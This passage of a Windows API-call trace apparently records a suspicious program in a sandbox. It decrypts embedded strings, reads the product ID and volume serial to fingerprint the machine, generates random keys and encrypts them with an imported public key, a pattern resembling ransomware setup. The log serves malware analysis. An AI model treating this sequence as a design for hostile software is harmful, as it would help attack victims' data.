(hKey=0xa5e938) returned 1 [0073.332] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0073.332] GetProcessHeap () returned 0xa40000 [0073.332] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cba8 | out: hHeap=0xa40000) returned 1 [0073.332] GetProcessHeap () returned 0xa40000 [0073.332] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1e) returned 0xa5cba8 [0073.333] GetProcessHeap () returned 0xa40000 [0073.333] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x12) returned 0xa5ee68 [0073.333] GetProcessHeap () returned 0xa40000 [0073.333] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ec38 [0073.333] GetProcessHeap () returned 0xa40000 [0073.333] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x40) returned 0xa5f628 [0073.333] GetProcessHeap () returned 0xa40000 [0073.333] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x80) returned 0xa5e938 [0073.333] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e9c0) returned 1 [0073.333] CryptDecrypt (in: hKey=0xa5e9c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e938, pdwDataLen=0x18f3d8 | out: pbData=0xa5e938, pdwDataLen=0x18f3d8) returned 1 [0073.333] CryptDestroyKey (hKey=0xa5e9c0) returned 1 [0073.333] GetProcessHeap () returned 0xa40000 [0073.333] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x80) returned 0xa60610 [0073.333] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e9c0) returned 1 [0073.333] CryptDecrypt (in: hKey=0xa5e9c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa60610, pdwDataLen=0x18f3d8 | out: pbData=0xa60610, pdwDataLen=0x18f3d8) returned 1 [0073.333] CryptDestroyKey (hKey=0xa5e9c0) returned 1 [0073.334] SetErrorMode (uMode=0x1) returned 0x0 [0073.334] GetLogicalDrives () returned 0x4 [0073.334] GetProcessHeap () returned 0xa40000 [0073.334] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x40) returned 0xa5f670 [0073.334] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18eee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e9c0) returned 1 [0073.334] CryptDecrypt (in: hKey=0xa5e9c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5f670, pdwDataLen=0x18ef50 | out: pbData=0xa5f670, pdwDataLen=0x18ef50) returned 1 [0073.334] CryptDestroyKey (hKey=0xa5e9c0) returned 1 [0073.334] GetProcessHeap () returned 0xa40000 [0073.334] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cc20 [0073.334] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18eee0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e9c0) returned 1 [0073.334] CryptDecrypt (in: hKey=0xa5e9c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cc20, pdwDataLen=0x18ef50 | out: pbData=0xa5cc20, pdwDataLen=0x18ef50) returned 1 [0073.334] CryptDestroyKey (hKey=0xa5e9c0) returned 1 [0073.334] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ef4c | out: phkResult=0x18ef4c*=0xc4) returned 0x0 [0073.334] RegQueryValueExA (in: hKey=0xc4, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ef58, lpcbData=0x18ef54*=0x400 | out: lpType=0x0, lpData=0x18ef58*=0x30, lpcbData=0x18ef54*=0x18) returned 0x0 [0073.334] RegCloseKey (hKey=0xc4) returned 0x0 [0073.335] GetProcessHeap () returned 0xa40000 [0073.335] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5f670 | out: hHeap=0xa40000) returned 1 [0073.335] GetProcessHeap () returned 0xa40000 [0073.335] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc20 | out: hHeap=0xa40000) returned 1 [0073.335] GetProcessHeap () returned 0xa40000 [0073.335] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cc20 [0073.335] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18ecc0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e9c0) returned 1 [0073.335] CryptDecrypt (in: hKey=0xa5e9c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cc20, pdwDataLen=0x18ed24 | out: pbData=0xa5cc20, pdwDataLen=0x18ed24) returned 1 [0073.335] CryptDestroyKey (hKey=0xa5e9c0) returned 1 [0073.335] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ed28, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0073.335] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ed20, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ed20*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.336] GetProcessHeap () returned 0xa40000 [0073.336] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc20 | out: hHeap=0xa40000) returned 1 [0073.336] wsprintfA (in: param_1=0x18ef6f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0073.336] wsprintfW (in: param_1=0x18f380, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0073.336] wsprintfW (in: param_1=0x18f390, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0073.336] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.336] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f370, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f370*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x34) returned 0xa5e9c0 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ec48 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x2c) returned 0xa60698 [0073.337] CryptGenRandom (in: hProv=0xa5c4b0, dwLen=0x20, pbBuffer=0xa606a4 | out: pbBuffer=0xa606a4) returned 1 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x2c) returned 0xa606d0 [0073.337] CryptGenRandom (in: hProv=0xa5c4b0, dwLen=0x20, pbBuffer=0xa606dc | out: pbBuffer=0xa606dc) returned 1 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cc20 [0073.337] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f360, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa60708) returned 1 [0073.337] CryptDecrypt (in: hKey=0xa60708, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cc20, pdwDataLen=0x18f3c8 | out: pbData=0xa5cc20, pdwDataLen=0x18f3c8) returned 1 [0073.337] CryptDestroyKey (hKey=0xa60708) returned 1 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x80) returned 0xa60708 [0073.337] GetProcessHeap () returned 0xa40000 [0073.337] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x80) returned 0xa60790 [0073.337] CryptImportKey (in: hProv=0xa5c4b0, pbData=0xa5d4f8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f3a8 | out: phKey=0x18f3a8*=0xa60818) returned 1 [0073.338] CryptEncrypt (in: hKey=0xa60818, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa60708*, pdwDataLen=0x18f3ac*=0x75, dwBufLen=0x80 | out: pbData=0xa60708*, pdwDataLen=0x18f3ac*=0x80) returned 1 [0073.338] CryptDestroyKey (hKey=0xa60818) returned 1 [0073.338] CryptImportKey (in: hProv=0xa5c4b0, pbData=0xa5d4f8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f3a8 | out: phKey=0x18f3a8*=0xa60818) returned 1 [0073.338] CryptEncrypt (in: hKey=0xa60818, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa60790*, pdwDataLen=0x18f3ac*=0x75, dwBufLen=0x80 | out: pbData=0xa60790*, pdwDataLen=0x18f3ac*=0x80) returned 1 [0073.338] CryptDestroyKey (hKey=0xa60818) returned 1 [0073.338] GetProcessHeap () returned 0xa40000 [0073.338] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc20 | out: hHeap=0xa40000) returned 1 [0073.338] GetProcessHeap () returned 0xa40000 [0073.338] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa0) returned 0xa60818 [0073.338] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f350, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa608c0) returned 1 [0073.338] CryptDecrypt (in: hKey=0xa608c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa60818, pdwDataLen=0x18f3b8 | out: pbData=0xa60818, pdwDataLen=0x18f3b8) returned 1 [0073.338] CryptDestroyKey (hKey=0xa608c0) returned 1 [0073.338] GetProcessHeap () returned 0xa40000 [0073.338] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1c) returned 0xa5cc20 [0073.338] GetProcessHeap () returned 0xa40000 [0073.339] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa) returned 0xa5de78 [0073.339] GetProcessHeap () returned 0xa40000 [0073.339] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5de90 [0073.339] GetProcessHeap () returned 0xa40000 [0073.339] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x19) returned 0xa5cc48 [0073.339] GetProcessHeap () returned 0xa40000 [0073.339] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5dea8 [0073.339] GetProcessHeap () returned 0xa40000 [0073.339] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xd) returned 0xa5dec0 [0073.339] GetProcessHeap () returned 0xa40000 [0073.339] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1a) returned 0xa5cc70 [0073.353] GetProcessHeap () returned 0xa40000 [0073.353] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1b) returned 0xa5cc98 [0073.353] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0073.353] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0073.353] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0073.353] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0073.353] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0073.353] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0073.353] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0073.353] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0073.354] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0073.354] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0073.354] GetProcessHeap () returned 0xa40000 [0073.354] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60818 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de78 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de90 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc48 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dea8 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dec0 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc70 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc98 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cc20 | out: hHeap=0xa40000) returned 1 [0073.355] GetProcessHeap () returned 0xa40000 [0073.355] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1000) returned 0xa60818 [0073.356] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0xa60818, ObjectInformationLength=0x1000, ReturnLength=0x18f39c | out: ObjectInformation=0xa60818, ReturnLength=0x18f39c) returned 0xc0000004 [0073.356] GetProcessHeap () returned 0xa40000 [0073.356] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60818 | out: hHeap=0xa40000) returned 1 [0073.356] GetProcessHeap () returned 0xa40000 [0073.356] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x2000) returned 0xa60818 [0073.356] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0xa60818, ObjectInformationLength=0x2000, ReturnLength=0x18f39c | out: ObjectInformation=0xa60818, ReturnLength=0x18f39c) returned 0x0 [0073.356] RtlGetVersion (in: lpVersionInformation=0x18f288 | out: lpVersionInformation=0x18f288*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0073.356] GetProcessHeap () returned 0xa40000 [0073.356] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60818 | out: hHeap=0xa40000) returned 1 [0073.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404f50, lpParameter=0xa5c418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4 [0073.357] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0110.958] CloseHandle (hObject=0xc4) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60708 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60790 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60698 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa606d0 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e9c0 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ec48 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5c418 | out: hHeap=0xa40000) returned 1 [0110.958] GetProcessHeap () returned 0xa40000 [0110.958] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ec48 [0110.959] GetProcessHeap () returned 0xa40000 [0110.959] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e868 | out: hHeap=0xa40000) returned 1 [0110.959] GetProcessHeap () returned 0xa40000 [0110.959] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e8d0 | out: hHeap=0xa40000) returned 1 [0110.959] GetProcessHeap () returned 0xa40000 [0110.959] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cba8 | out: hHeap=0xa40000) returned 1 [0110.959] GetProcessHeap () returned 0xa40000 [0110.959] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ee68 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e938 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60610 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5f628 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ec38 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5c9f0 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca18 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e318 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dcc8 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cb30 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cb80 | out: hHeap=0xa40000) returned 1 [0110.960] GetProcessHeap () returned 0xa40000 [0110.960] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cb58 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e130 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e120 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca68 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e150 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dcf8 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e408 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca40 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e430 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dce0 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e440 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e818 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e450 | out: hHeap=0xa40000) returned 1 [0110.961] GetProcessHeap () returned 0xa40000 [0110.961] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e848 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e460 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5c538 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dd10 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e480 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e470 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cab8 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e4a0 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e490 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e4d0 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e4c0 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e4f0 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e4e0 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e510 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e500 | out: hHeap=0xa40000) returned 1 [0110.962] GetProcessHeap () returned 0xa40000 [0110.962] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e530 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e520 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dd28 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e540 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dd40 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e550 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dd58 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e560 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e580 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e570 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e5a0 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e590 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e5c0 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e5b0 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.963] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e5e0 | out: hHeap=0xa40000) returned 1 [0110.963] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e5d0 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e360 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e5f0 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dd70 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e600 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dd88 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e610 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e630 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 